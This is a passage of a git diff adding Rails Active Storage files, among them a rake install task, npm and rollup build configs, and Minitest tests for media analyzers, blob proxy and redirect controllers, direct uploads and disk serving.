+  # Returns the currently loaded version of Active Storage as a +Gem::Version+.
+  def self.version
+    gem_version
+  end
+end
diff --git a/activestorage/lib/tasks/activestorage.rake b/activestorage/lib/tasks/activestorage.rake
new file mode 100644
index 0000000000000..142a5796cada8
--- /dev/null
+++ b/activestorage/lib/tasks/activestorage.rake
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+namespace :active_storage do
+  # Prevent migration installation task from showing up twice.
+  Rake::Task["install:migrations"].clear_comments
+
+  desc "Copy over the migration needed to the application"
+  task install: :environment do
+    if Rake::Task.task_defined?("active_storage:install:migrations")
+      Rake::Task["active_storage:install:migrations"].invoke
+    else
+      Rake::Task["app:active_storage:install:migrations"].invoke
+    end
+  end
+
+  # desc "Copy over the migrations needed to the application upgrading"
+  task update: :environment do
+    ENV["MIGRATIONS_PATH"] = "db/update_migrate"
+
+    if Rake::Task.task_defined?("active_storage:install")
+      Rake::Task["active_storage:install"].invoke
+    else
+      Rake::Task["app:active_storage:install"].invoke
+    end
+  end
+end
diff --git a/activestorage/package.json b/activestorage/package.json
new file mode 100644
index 0000000000000..575ba8cae6784
--- /dev/null
+++ b/activestorage/package.json
@@ -0,0 +1,40 @@
+{
+  "name": "@rails/activestorage",
+  "version": "8.2.0-alpha",
+  "description": "Attach cloud and local files in Rails applications",
+  "module": "app/assets/javascripts/activestorage.esm.js",
+  "main": "app/assets/javascripts/activestorage.js",
+  "files": [
+    "app/assets/javascripts/*.js",
+    "src/*.js"
+  ],
+  "homepage": "https://rubyonrails.org/",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/rails/rails.git"
+  },
+  "bugs": {
+    "url": "https://github.com/rails/rails/issues"
+  },
+  "author": "Javan Makhmali <javan@javan.us>",
+  "license": "MIT",
+  "dependencies": {
+    "spark-md5": "^3.0.1"
+  },
+  "devDependencies": {
+    "@eslint/js": "^9.24.0",
+    "@rollup/plugin-node-resolve": "^11.0.1",
+    "@rollup/plugin-commonjs": "^19.0.1",
+    "eslint": "^9.24.0",
+    "eslint-plugin-import": "^2.31.0",
+    "globals": "^14.0.0",
+    "rollup": "^2.35.1",
+    "rollup-plugin-terser": "^7.0.2"
+  },
+  "scripts": {
+    "prebuild": "yarn lint",
+    "build": "rollup --config rollup.config.js",
+    "lint": "eslint app/javascript",
+    "prepublishOnly": "rm -rf src && cp -R app/javascript/activestorage src"
+  }
+}
diff --git a/activestorage/rollup.config.js b/activestorage/rollup.config.js
new file mode 100644
index 0000000000000..599ff987d98bc
--- /dev/null
+++ b/activestorage/rollup.config.js
@@ -0,0 +1,41 @@
+import resolve from "@rollup/plugin-node-resolve"
+import commonjs from "@rollup/plugin-commonjs"
+import { terser } from "rollup-plugin-terser"
+
+const terserOptions = {
+ mangle: false,
+ compress: false,
+ format: {
+   beautify: true,
+   indent_level: 2
+ }
+}
+
+export default [
+  {
+    input: "app/javascript/activestorage/index.js",
+    output: {
+      file: "app/assets/javascripts/activestorage.js",
+      format: "umd",
+      name: "ActiveStorage"
+    },
+    plugins: [
+      resolve(),
+      commonjs(),
+      terser(terserOptions)
+    ]
+  },
+
+  {
+    input: "app/javascript/activestorage/index.js",
+    output: {
+      file: "app/assets/javascripts/activestorage.esm.js",
+      format: "es"
+    },
+    plugins: [
+      resolve(),
+      commonjs(),
+      terser(terserOptions)
+    ]
+  }
+]
diff --git a/activestorage/test/analyzer/audio_analyzer_test.rb b/activestorage/test/analyzer/audio_analyzer_test.rb
new file mode 100644
index 0000000000000..bfffaa0b21d67
--- /dev/null
+++ b/activestorage/test/analyzer/audio_analyzer_test.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+require "active_storage/analyzer/audio_analyzer"
+
+class ActiveStorage::Analyzer::AudioAnalyzerTest < ActiveSupport::TestCase
+  test "analyzing an audio" do
+    blob = create_file_blob(filename: "audio.mp3", content_type: "audio/mp3")
+    metadata = extract_metadata_from(blob)
+
+    assert (0.863379..0.914286).include?(metadata[:duration])
+
+    assert_equal 128000, metadata[:bit_rate]
+    assert_equal 44100, metadata[:sample_rate]
+    assert_not_nil metadata[:tags]
+    assert_equal "Lavc57.64", metadata[:tags][:encoder]
+  end
+
+  test "instrumenting analysis" do
+    blob = create_file_blob(filename: "audio.mp3", content_type: "audio/mp3")
+
+    assert_notifications_count("analyze.active_storage", 1) do
+      assert_notification("analyze.active_storage", analyzer: "ffprobe") do
+        blob.analyze
+      end
+    end
+  end
+end
diff --git a/activestorage/test/analyzer/image_analyzer/image_magick_test.rb b/activestorage/test/analyzer/image_analyzer/image_magick_test.rb
new file mode 100644
index 0000000000000..9635e7b83d581
--- /dev/null
+++ b/activestorage/test/analyzer/image_analyzer/image_magick_test.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+require "active_storage/analyzer/image_analyzer"
+
+class ActiveStorage::Analyzer::ImageAnalyzer::ImageMagickTest < ActiveSupport::TestCase
+  test "analyzing a JPEG image" do
+    analyze_with_image_magick do
+      blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+      metadata = extract_metadata_from(blob)
+
+      assert_equal 4104, metadata[:width]
+      assert_equal 2736, metadata[:height]
+    end
+  end
+
+  test "analyzing a rotated JPEG image" do
+    analyze_with_image_magick do
+      blob = create_file_blob(filename: "racecar_rotated.jpg", content_type: "image/jpeg")
+      metadata = extract_metadata_from(blob)
+
+      assert_equal 2736, metadata[:width]
+      assert_equal 4104, metadata[:height]
+    end
+  end
+
+  test "analyzing an SVG image without an XML declaration" do
+    analyze_with_image_magick do
+      blob = create_file_blob(filename: "icon.svg", content_type: "image/svg+xml")
+      metadata = extract_metadata_from(blob)
+
+      assert_equal 792, metadata[:width]
+      assert_equal 584, metadata[:height]
+    end
+  end
+
+  test "analyzing an unsupported image type" do
+    analyze_with_image_magick do
+      blob = create_blob(data: "bad", filename: "bad_file.bad", content_type: "image/bad_type")
+      metadata = extract_metadata_from(blob)
+
+      assert_nil metadata[:width]
+      assert_nil metadata[:height]
+    end
+  end
+
+  test "analyzing with ruby-vips unavailable" do
+    stub_const(Object, :Vips, Module.new) do
+      analyze_with_image_magick do
+        blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+        metadata = extract_metadata_from(blob)
+
+        assert_equal 4104, metadata[:width]
+        assert_equal 2736, metadata[:height]
+      end
+    end
+  end
+
+  test "instrumenting analysis" do
+    blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+
+    assert_notifications_count("analyze.active_storage", 1) do
+      assert_notification("analyze.active_storage", analyzer: "mini_magick") do
+        analyze_with_image_magick do
+          blob.analyze
+        end
+      end
+    end
+  end
+
+  test "when image_magick is not installed" do
+    stub_const(ActiveStorage, :MINIMAGICK_AVAILABLE, false) do
+      blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+
+      output = StringIO.new
+      logger = ActiveSupport::Logger.new(output)
+
+      ActiveStorage.with(logger: logger) do
+        analyze_with_image_magick do
+          blob.analyze
+        end
+      end
+
+      assert_includes output.string, "Skipping image analysis because the mini_magick gem isn't installed"
+    end
+  end
+
+  private
+    def analyze_with_image_magick
+      previous_processor, ActiveStorage.variant_processor = ActiveStorage.variant_processor, :mini_magick
+
+      yield
+    rescue LoadError
+      ENV["BUILDKITE"] ? raise : skip("Variant processor image_magick is not installed")
+    ensure
+      ActiveStorage.variant_processor = previous_processor
+    end
+end
diff --git a/activestorage/test/analyzer/image_analyzer/vips_test.rb b/activestorage/test/analyzer/image_analyzer/vips_test.rb
new file mode 100644
index 0000000000000..47bbd8942d566
--- /dev/null
+++ b/activestorage/test/analyzer/image_analyzer/vips_test.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+require "active_storage/analyzer/image_analyzer"
+
+class ActiveStorage::Analyzer::ImageAnalyzer::VipsTest < ActiveSupport::TestCase
+  test "analyzing a JPEG image" do
+    analyze_with_vips do
+      blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+      metadata = extract_metadata_from(blob)
+
+      assert_equal 4104, metadata[:width]
+      assert_equal 2736, metadata[:height]
+    end
+  end
+
+  test "analyzing a rotated JPEG image" do
+    analyze_with_vips do
+      blob = create_file_blob(filename: "racecar_rotated.jpg", content_type: "image/jpeg")
+      metadata = extract_metadata_from(blob)
+
+      assert_equal 2736, metadata[:width]
+      assert_equal 4104, metadata[:height]
+    end
+  end
+
+  test "analyzing an SVG image without an XML declaration" do
+    analyze_with_vips do
+      blob = create_file_blob(filename: "icon.svg", content_type: "image/svg+xml")
+      metadata = extract_metadata_from(blob)
+
+      assert_equal 792, metadata[:width]
+      assert_equal 584, metadata[:height]
+    end
+  end
+
+  test "analyzing an unsupported image type" do
+    analyze_with_vips do
+      blob = create_blob(data: "bad", filename: "bad_file.bad", content_type: "image/bad_type")
+      metadata = extract_metadata_from(blob)
+
+      assert_nil metadata[:width]
+      assert_nil metadata[:height]
+    end
+  end
+
+  test "instrumenting analysis" do
+    analyze_with_vips do
+      blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+
+      assert_notifications_count("analyze.active_storage", 1) do
+        assert_notification("analyze.active_storage", analyzer: "vips") do
+          blob.analyze
+        end
+      end
+    end
+  end
+
+  test "when ruby-vips is not installed" do
+    stub_const(ActiveStorage, :VIPS_AVAILABLE, false) do
+      blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+
+      output = StringIO.new
+      logger = ActiveSupport::Logger.new(output)
+
+      ActiveStorage.with(logger: logger) do
+        analyze_with_vips do
+          blob.analyze
+        end
+      end
+
+      assert_includes output.string, "Skipping image analysis because the ruby-vips gem isn't installed"
+    end
+  end
+
+  private
+    def analyze_with_vips
+      previous_processor, ActiveStorage.variant_processor = ActiveStorage.variant_processor, :vips
+
+      yield
+    rescue LoadError
+      ENV["BUILDKITE"] ? raise : skip("Variant processor vips is not installed")
+    ensure
+      ActiveStorage.variant_processor = previous_processor
+    end
+end
diff --git a/activestorage/test/analyzer/video_analyzer_test.rb b/activestorage/test/analyzer/video_analyzer_test.rb
new file mode 100644
index 0000000000000..c6ab9e4fa4004
--- /dev/null
+++ b/activestorage/test/analyzer/video_analyzer_test.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+require "active_storage/analyzer/video_analyzer"
+
+class ActiveStorage::Analyzer::VideoAnalyzerTest < ActiveSupport::TestCase
+  test "analyzing a video" do
+    blob = create_file_blob(filename: "video.mp4", content_type: "video/mp4")
+    metadata = extract_metadata_from(blob)
+
+    assert_equal 640, metadata[:width]
+    assert_equal 480, metadata[:height]
+    assert_equal [4, 3], metadata[:display_aspect_ratio]
+    assert_equal 5.166648, metadata[:duration]
+    assert metadata[:audio]
+    assert metadata[:video]
+    assert_not_includes metadata, :angle
+  end
+
+  test "analyzing a rotated video" do
+    blob = create_file_blob(filename: "rotated_video.mp4", content_type: "video/mp4")
+    metadata = extract_metadata_from(blob)
+
+    assert_equal 480, metadata[:width]
+    assert_equal 640, metadata[:height]
+    assert_equal [4, 3], metadata[:display_aspect_ratio]
+    assert_includes [90, -90], metadata[:angle]
+  end
+
+  test "analyzing a rotated HDR video" do
+    blob = create_file_blob(filename: "rotated_hdr_video.mov", content_type: "video/quicktime")
+    metadata = extract_metadata_from(blob)
+
+    assert_equal 1080.0, metadata[:width]
+    assert_equal 1920.0, metadata[:height]
+    assert_includes [90, -90], metadata[:angle]
+  end
+
+  test "analyzing a video with rectangular samples" do
+    blob = create_file_blob(filename: "video_with_rectangular_samples.mp4", content_type: "video/mp4")
+    metadata = extract_metadata_from(blob)
+
+    assert_equal 1280, metadata[:width]
+    assert_equal 720, metadata[:height]
+    assert_equal [16, 9], metadata[:display_aspect_ratio]
+  end
+
+  test "analyzing a video with an undefined display aspect ratio" do
+    blob = create_file_blob(filename: "video_with_undefined_display_aspect_ratio.mp4", content_type: "video/mp4")
+    metadata = extract_metadata_from(blob)
+
+    assert_equal 640, metadata[:width]
+    assert_equal 480, metadata[:height]
+    assert_nil metadata[:display_aspect_ratio]
+  end
+
+  test "analyzing a video with a container-specified duration" do
+    blob = create_file_blob(filename: "video.webm", content_type: "video/webm")
+    metadata = extract_metadata_from(blob)
+
+    assert_equal 640, metadata[:width]
+    assert_equal 480, metadata[:height]
+    assert_equal 5.229000, metadata[:duration]
+    assert metadata[:audio]
+    assert metadata[:video]
+  end
+
+  test "analyzing a video without a video stream" do
+    blob = create_file_blob(filename: "video_without_video_stream.mp4", content_type: "video/mp4")
+    metadata = extract_metadata_from(blob)
+
+    assert_not_includes metadata, :width
+    assert_not_includes metadata, :height
+    assert_includes 1.000000..1.022000, metadata[:duration]
+    assert_not metadata[:video]
+    assert metadata[:audio]
+  end
+
+  test "analyzing a video without an audio stream" do
+    blob = create_file_blob(filename: "video_without_audio_stream.mp4", content_type: "video/mp4")
+    metadata = extract_metadata_from(blob)
+
+    assert metadata[:video]
+    assert_not metadata[:audio]
+  end
+
+  test "instrumenting analysis" do
+    blob = create_file_blob(filename: "video.mp4", content_type: "video/mp4")
+
+    assert_notifications_count("analyze.active_storage", 1) do
+      assert_notification("analyze.active_storage", analyzer: "ffprobe") do
+        blob.analyze
+      end
+    end
+  end
+end
diff --git a/activestorage/test/controllers/blobs/proxy_controller_test.rb b/activestorage/test/controllers/blobs/proxy_controller_test.rb
new file mode 100644
index 0000000000000..5d63f929bb776
--- /dev/null
+++ b/activestorage/test/controllers/blobs/proxy_controller_test.rb
@@ -0,0 +1,174 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+require "minitest/mock"
+
+class ActiveStorage::Blobs::ProxyControllerTest < ActionDispatch::IntegrationTest
+  test "invalid signed ID" do
+    get rails_service_blob_proxy_url("invalid", "racecar.jpg")
+    assert_response :not_found
+  end
+
+  test "HTTP caching" do
+    get rails_storage_proxy_url(create_file_blob(filename: "racecar.jpg"))
+    assert_response :success
+    assert_equal "max-age=3155695200, public, immutable", response.headers["Cache-Control"]
+  end
+
+  test "invalidates cache and returns a 404 if the file is not found on download" do
+    blob = create_file_blob(filename: "racecar.jpg")
+    mock_download = lambda do |_|
+      raise ActiveStorage::FileNotFoundError.new "File still uploading!"
+    end
+    blob.service.stub(:download, mock_download) do
+      get rails_storage_proxy_url(blob)
+    end
+    assert_response :not_found
+    assert_equal "no-cache", response.headers["Cache-Control"]
+  end
+
+
+  test "invalidates cache and returns a 500 if an error is raised on download" do
+    blob = create_file_blob(filename: "racecar.jpg")
+    mock_download = lambda do |_|
+      raise StandardError.new "Something is not cool!"
+    end
+    blob.service.stub(:download, mock_download) do
+      get rails_storage_proxy_url(blob)
+    end
+    assert_response :internal_server_error
+    assert_equal "no-cache", response.headers["Cache-Control"]
+  end
+
+
+  test "forcing Content-Type to binary" do
+    get rails_storage_proxy_url(create_blob(content_type: "text/html"))
+    assert_equal "application/octet-stream", response.headers["Content-Type"]
+  end
+
+  test "forcing Content-Disposition to attachment based on type" do
+    get rails_storage_proxy_url(create_blob(content_type: "application/zip"))
+    assert_match(/^attachment; /, response.headers["Content-Disposition"])
+  end
+
+  test "caller can change disposition to attachment" do
+    url = rails_storage_proxy_url(create_blob(content_type: "image/jpeg"), disposition: :attachment)
+    get url
+    assert_match(/^attachment; /, response.headers["Content-Disposition"])
+  end
+
+  test "signed ID within expiration duration" do
+    get rails_storage_proxy_url(create_file_blob(filename: "racecar.jpg"), expires_in: 1.minute)
+    assert_response :success
+  end
+
+  test "Expired signed ID within expiration duration" do
+    url = rails_storage_proxy_url(create_file_blob(filename: "racecar.jpg"), expires_in: 1.minute)
+    travel 2.minutes
+    get url
+    assert_response :not_found
+  end
+
+  test "signed ID within expiration time" do
+    get rails_storage_proxy_url(create_file_blob(filename: "racecar.jpg"), expires_at: 1.minute.from_now)
+    assert_response :success
+  end
+
+  test "Expired signed ID within expiration time" do
+    url = rails_storage_proxy_url(create_file_blob(filename: "racecar.jpg"), expires_at: 1.minute.from_now)
+    travel 2.minutes
+    get url
+    assert_response :not_found
+  end
+
+  test "single Byte Range" do
+    get rails_storage_proxy_url(create_file_blob(filename: "racecar.jpg")), headers: { "Range" => "bytes=5-9" }
+    assert_response :partial_content
+    assert_equal "5", response.headers["Content-Length"]
+    assert_equal "bytes 5-9/1124062", response.headers["Content-Range"]
+    assert_equal "image/jpeg", response.headers["Content-Type"]
+    assert_equal " Exif", response.body
+  end
+
+  test "invalid Byte Range" do
+    get rails_storage_proxy_url(create_file_blob(filename: "racecar.jpg")), headers: { "Range" => "bytes=*/1234" }
+    assert_response :range_not_satisfiable
+  end
+
+  test "multiple Byte Ranges" do
+    boundary = SecureRandom.hex
+    SecureRandom.stub :hex, boundary do
+      get rails_storage_proxy_url(create_file_blob(filename: "racecar.jpg")), headers: { "Range" => "bytes=5-9,13-17" }
+      assert_response :partial_content
+      assert_equal "252", response.headers["Content-Length"]
+      assert_equal "multipart/byteranges; boundary=#{boundary}", response.headers["Content-Type"]
+      assert_equal(
+        [
+          "",
+          "--#{boundary}",
+          "Content-Type: image/jpeg",
+          "Content-Range: bytes 5-9/1124062",
+          "",
+          " Exif",
+          "--#{boundary}",
+          "Content-Type: image/jpeg",
+          "Content-Range: bytes 13-17/1124062",
+          "",
+          "I*\u0000\b\u0000",
+          "--#{boundary}--",
+          ""
+        ].join("\r\n"),
+        response.body
+      )
+    end
+  end
+
+  test "uses a Live::Response" do
+    # This tests for a regression of #45102. If the controller doesn't respond
+    # with a ActionController::Live::Response, it will serve corrupted files
+    # over 5mb when using S3 services.
+    request = ActionController::TestRequest.create({})
+    assert_instance_of ActionController::Live::Response, ActiveStorage::Blobs::ProxyController.make_response!(request)
+  end
+
+  test "sessions are disabled" do
+    get rails_storage_proxy_url(create_file_blob(filename: "racecar.jpg"))
+    assert request.session_options[:skip],
+      "Expected request.session_options[:skip] to be true"
+  end
+
+  test "rails_storage_proxy include Content-Length header" do
+    Rails.application.config.active_storage.resolve_model_to_route = :rails_storage_proxy
+    blob = create_file_blob(filename: "racecar.jpg")
+
+    get rails_storage_proxy_url(blob)
+
+    assert_response :success
+    assert_not_nil response.headers["Content-Length"], "Content-Length header should be included in proxy mode"
+    assert_equal blob.byte_size.to_s, response.headers["Content-Length"], "Content-Length header should match blob size"
+  end
+end
+
+class ActiveStorage::Blobs::ExpiringProxyControllerTest < ActionDispatch::IntegrationTest
+  setup do
+    @old_urls_expire_in = ActiveStorage.urls_expire_in
+    ActiveStorage.urls_expire_in = 1.minutes
+  end
+
+  teardown do
+    ActiveStorage.urls_expire_in = @old_urls_expire_in
+  end
+
+  test "signed ID within expiration date" do
+    get rails_storage_proxy_url(create_file_blob(filename: "racecar.jpg"))
+    assert_response :success
+  end
+
+  test "Expired signed ID" do
+    url = rails_storage_proxy_url(create_file_blob(filename: "racecar.jpg"))
+    travel 2.minutes
+    get url
+    assert_response :not_found
+  end
+end
diff --git a/activestorage/test/controllers/blobs/redirect_controller_test.rb b/activestorage/test/controllers/blobs/redirect_controller_test.rb
new file mode 100644
index 0000000000000..ab9217d04643c
--- /dev/null
+++ b/activestorage/test/controllers/blobs/redirect_controller_test.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::Blobs::RedirectControllerTest < ActionDispatch::IntegrationTest
+  setup do
+    @blob = create_file_blob filename: "racecar.jpg"
+  end
+
+  test "invalid signed ID" do
+    get rails_service_blob_url("invalid", "racecar.jpg")
+    assert_response :not_found
+  end
+
+  test "HTTP caching" do
+    get rails_storage_redirect_url(@blob)
+    assert_redirected_to(/racecar\.jpg/)
+    assert_equal "max-age=300, private", response.headers["Cache-Control"]
+  end
+
+  test "signed ID within expiration duration" do
+    get rails_storage_redirect_url(@blob, expires_in: 1.minute)
+    assert_redirected_to(/racecar\.jpg/)
+  end
+
+  test "Expired signed ID within expiration duration" do
+    url = rails_storage_redirect_url(@blob, expires_in: 1.minute)
+    travel 2.minutes
+    get url
+    assert_response :not_found
+  end
+
+  test "signed ID within expiration time" do
+    get rails_storage_redirect_url(@blob, expires_at: 1.minute.from_now)
+    assert_redirected_to(/racecar\.jpg/)
+  end
+
+  test "Expired signed ID within expiration time" do
+    url = rails_storage_redirect_url(@blob, expires_at: 1.minute.from_now)
+    travel 2.minutes
+    get url
+    assert_response :not_found
+  end
+end
+
+class ActiveStorage::Blobs::ExpiringRedirectControllerTest < ActionDispatch::IntegrationTest
+  setup do
+    @blob = create_file_blob filename: "racecar.jpg"
+    @old_urls_expire_in = ActiveStorage.urls_expire_in
+    ActiveStorage.urls_expire_in = 1.minutes
+  end
+
+  teardown do
+    ActiveStorage.urls_expire_in = @old_urls_expire_in
+  end
+
+  test "signed ID within expiration date" do
+    get rails_storage_redirect_url(@blob)
+    assert_redirected_to(/racecar\.jpg/)
+  end
+
+  test "Expired signed ID" do
+    url = rails_storage_redirect_url(@blob)
+    travel 2.minutes
+    get url
+    assert_response :not_found
+  end
+end
+
+class ActiveStorage::Blobs::RedirectControllerWithOpenRedirectTest < ActionDispatch::IntegrationTest
+  if SERVICE_CONFIGURATIONS[:s3]
+    test "showing existing blob stored in s3" do
+      with_raise_on_open_redirects(:s3) do
+        blob = create_file_blob filename: "racecar.jpg", service_name: :s3
+
+        get rails_storage_redirect_url(blob)
+        assert_redirected_to(/racecar\.jpg/)
+      end
+    end
+  end
+
+  if SERVICE_CONFIGURATIONS[:gcs]
+    test "showing existing blob stored in gcs" do
+      with_raise_on_open_redirects(:gcs) do
+        blob = create_file_blob filename: "racecar.jpg", service_name: :gcs
+
+        get rails_storage_redirect_url(blob)
+        assert_redirected_to(/racecar\.jpg/)
+      end
+    end
+  end
+end
diff --git a/activestorage/test/controllers/direct_uploads_controller_test.rb b/activestorage/test/controllers/direct_uploads_controller_test.rb
new file mode 100644
index 0000000000000..d8422c409d962
--- /dev/null
+++ b/activestorage/test/controllers/direct_uploads_controller_test.rb
@@ -0,0 +1,150 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+if SERVICE_CONFIGURATIONS[:s3] && SERVICE_CONFIGURATIONS[:s3][:access_key_id].present?
+  class ActiveStorage::S3DirectUploadsControllerTest < ActionDispatch::IntegrationTest
+    setup do
+      @old_service = ActiveStorage::Blob.service
+      ActiveStorage::Blob.service = ActiveStorage::Service.configure(:s3, SERVICE_CONFIGURATIONS)
+    end
+
+    teardown do
+      ActiveStorage::Blob.service = @old_service
+    end
+
+    test "creating new direct upload" do
+      checksum = OpenSSL::Digest::MD5.base64digest("Hello")
+      metadata = {
+        "foo" => "bar",
+        "my_key_1" => "my_value_1",
+        "my_key_2" => "my_value_2",
+        "platform" => "my_platform",
+        "library_ID" => "12345",
+        "custom" => {
+          "my_key_3" => "my_value_3"
+        }
+      }
+
+      post rails_direct_uploads_url, params: { blob: {
+        filename: "hello.txt", byte_size: 6, checksum: checksum, content_type: "text/plain", metadata: metadata } }
+
+      response.parsed_body.tap do |details|
+        assert_equal ActiveStorage::Blob.find(details["id"]), ActiveStorage::Blob.find_signed!(details["signed_id"])
+        assert_equal "hello.txt", details["filename"]
+        assert_equal 6, details["byte_size"]
+        assert_equal checksum, details["checksum"]
+        assert_equal metadata, details["metadata"]
+        assert_equal "text/plain", details["content_type"]
+        assert_match SERVICE_CONFIGURATIONS[:s3][:bucket], details["direct_upload"]["url"]
+        assert_match(/s3(-[-a-z0-9]+)?\.(\S+)?amazonaws\.com/, details["direct_upload"]["url"])
+        assert_equal({ "Content-Type" => "text/plain", "Content-MD5" => checksum, "Content-Disposition" => "inline; filename=\"hello.txt\"; filename*=UTF-8''hello.txt", "x-amz-meta-my_key_3" => "my_value_3" }, details["direct_upload"]["headers"])
+      end
+    end
+  end
+else
+  puts "Skipping S3 Direct Upload tests because no S3 configuration was supplied"
+end
+
+if SERVICE_CONFIGURATIONS[:gcs]
+  class ActiveStorage::GCSDirectUploadsControllerTest < ActionDispatch::IntegrationTest
+    setup do
+      @config = SERVICE_CONFIGURATIONS[:gcs]
+
+      @old_service = ActiveStorage::Blob.service
+      ActiveStorage::Blob.service = ActiveStorage::Service.configure(:gcs, SERVICE_CONFIGURATIONS)
+    end
+
+    teardown do
+      ActiveStorage::Blob.service = @old_service
+    end
+
+    test "creating new direct upload" do
+      checksum = OpenSSL::Digest::MD5.base64digest("Hello")
+      metadata = {
+        "foo" => "bar",
+        "my_key_1" => "my_value_1",
+        "my_key_2" => "my_value_2",
+        "platform" => "my_platform",
+        "library_ID" => "12345",
+        "custom" => {
+          "my_key_3" => "my_value_3"
+        }
+      }
+
+      post rails_direct_uploads_url, params: { blob: {
+        filename: "hello.txt", byte_size: 6, checksum: checksum, content_type: "text/plain", metadata: metadata } }
+
+      response.parsed_body.tap do |details|
+        assert_equal ActiveStorage::Blob.find(details["id"]), ActiveStorage::Blob.find_signed!(details["signed_id"])
+        assert_equal "hello.txt", details["filename"]
+        assert_equal 6, details["byte_size"]
+        assert_equal checksum, details["checksum"]
+        assert_equal metadata, details["metadata"]
+        assert_equal "text/plain", details["content_type"]
+        assert_match %r{storage\.googleapis\.com/#{@config[:bucket]}}, details["direct_upload"]["url"]
+        assert_equal({ "Content-MD5" => checksum, "Content-Disposition" => "inline; filename=\"hello.txt\"; filename*=UTF-8''hello.txt", "x-goog-meta-my_key_3" => "my_value_3" }, details["direct_upload"]["headers"])
+      end
+    end
+  end
+else
+  puts "Skipping GCS Direct Upload tests because no GCS configuration was supplied"
+end
+
+class ActiveStorage::DiskDirectUploadsControllerTest < ActionDispatch::IntegrationTest
+  test "creating new direct upload" do
+    checksum = OpenSSL::Digest::MD5.base64digest("Hello")
+    metadata = {
+      "foo" => "bar",
+      "my_key_1" => "my_value_1",
+      "my_key_2" => "my_value_2",
+      "platform" => "my_platform",
+      "library_ID" => "12345"
+    }
+
+    post rails_direct_uploads_url, params: { blob: {
+      filename: "hello.txt", byte_size: 6, checksum: checksum, content_type: "text/plain", metadata: metadata } }
+
+    response.parsed_body.tap do |details|
+      assert_equal ActiveStorage::Blob.find(details["id"]), ActiveStorage::Blob.find_signed!(details["signed_id"])
+      assert_equal "hello.txt", details["filename"]
+      assert_equal 6, details["byte_size"]
+      assert_equal checksum, details["checksum"]
+      assert_equal metadata, details["metadata"]
+      assert_equal "text/plain", details["content_type"]
+      assert_match(/rails\/active_storage\/disk/, details["direct_upload"]["url"])
+      assert_equal({ "Content-Type" => "text/plain" }, details["direct_upload"]["headers"])
+    end
+  end
+
+  test "creating new direct upload does not include root in json" do
+    checksum = OpenSSL::Digest::MD5.base64digest("Hello")
+    metadata = {
+      "foo" => "bar",
+      "my_key_1" => "my_value_1",
+      "my_key_2" => "my_value_2",
+      "platform" => "my_platform",
+      "library_ID" => "12345"
+    }
+
+    set_include_root_in_json(true) do
+      post rails_direct_uploads_url, params: { blob: {
+        filename: "hello.txt", byte_size: 6, checksum: checksum, content_type: "text/plain", metadata: metadata } }
+    end
+
+    response.parsed_body.tap do |details|
+      assert_nil details["blob"]
+      assert_not_nil details["id"]
+    end
+  end
+
+  private
+    def set_include_root_in_json(value)
+      original = ActiveRecord::Base.include_root_in_json
+      ActiveRecord::Base.include_root_in_json = value
+      yield
+    ensure
+      ActiveRecord::Base.include_root_in_json = original
+    end
+end
diff --git a/activestorage/test/controllers/disk_controller_test.rb b/activestorage/test/controllers/disk_controller_test.rb
new file mode 100644
index 0000000000000..9bc4a19adf76c
--- /dev/null
+++ b/activestorage/test/controllers/disk_controller_test.rb
@@ -0,0 +1,126 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::DiskControllerTest < ActionDispatch::IntegrationTest
+  test "showing blob inline" do
+    blob = create_blob(filename: "hello.jpg", content_type: "image/jpeg")
+
+    get blob.url
+    assert_response :ok
+    assert_equal "inline; filename=\"hello.jpg\"; filename*=UTF-8''hello.jpg", response.headers["Content-Disposition"]
+    assert_equal "image/jpeg", response.headers["Content-Type"]
+    assert_equal "Hello world!", response.body
+  end
+
+  test "showing blob as attachment" do
+    blob = create_blob
+    get blob.url(disposition: :attachment)
+    assert_response :ok
+    assert_equal "attachment; filename=\"hello.txt\"; filename*=UTF-8''hello.txt", response.headers["Content-Disposition"]
+    assert_equal "text/plain", response.headers["Content-Type"]
+    assert_equal "Hello world!", response.body
+  end
+
+  test "showing blob range" do
+    blob = create_blob
+    get blob.url, headers: { "Range" => "bytes=5-9" }
+    assert_response :partial_content
+    assert_equal "attachment; filename=\"hello.txt\"; filename*=UTF-8''hello.txt", response.headers["Content-Disposition"]
+    assert_equal "text/plain", response.headers["Content-Type"]
+    assert_equal " worl", response.body
+  end
+
+  test "showing blob with invalid range" do
+    blob = create_blob
+    get blob.url, headers: { "Range" => "bytes=1000-1000" }
+    assert_response :range_not_satisfiable
+  end
+
+  test "showing blob that does not exist" do
+    blob = create_blob
+    blob.delete
+
+    get blob.url
+    assert_response :not_found
+  end
+
+  test "showing blob with invalid key" do
+    get rails_disk_service_url(encoded_key: "Invalid key", filename: "hello.txt")
+    assert_response :not_found
+  end
+
+  test "showing public blob" do
+    with_service("local_public") do
+      blob = create_blob(content_type: "image/jpeg")
+
+      get blob.url
+      assert_response :ok
+      assert_equal "image/jpeg", response.headers["Content-Type"]
+      assert_equal "Hello world!", response.body
+    end
+  end
+
+  test "showing public blob variant" do
+    with_service("local_public") do
+      blob = create_file_blob.variant(resize_to_limit: [100, 100]).processed
+
+      get blob.url
+      assert_response :ok
+      assert_equal "image/jpeg", response.headers["Content-Type"]
+    end
+  end
+
+  test "directly uploading blob with integrity" do
+    data = "Something else entirely!"
